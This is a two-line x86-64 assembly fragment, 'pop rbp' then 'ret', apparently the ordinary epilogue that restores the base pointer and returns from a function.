pop rbp
ret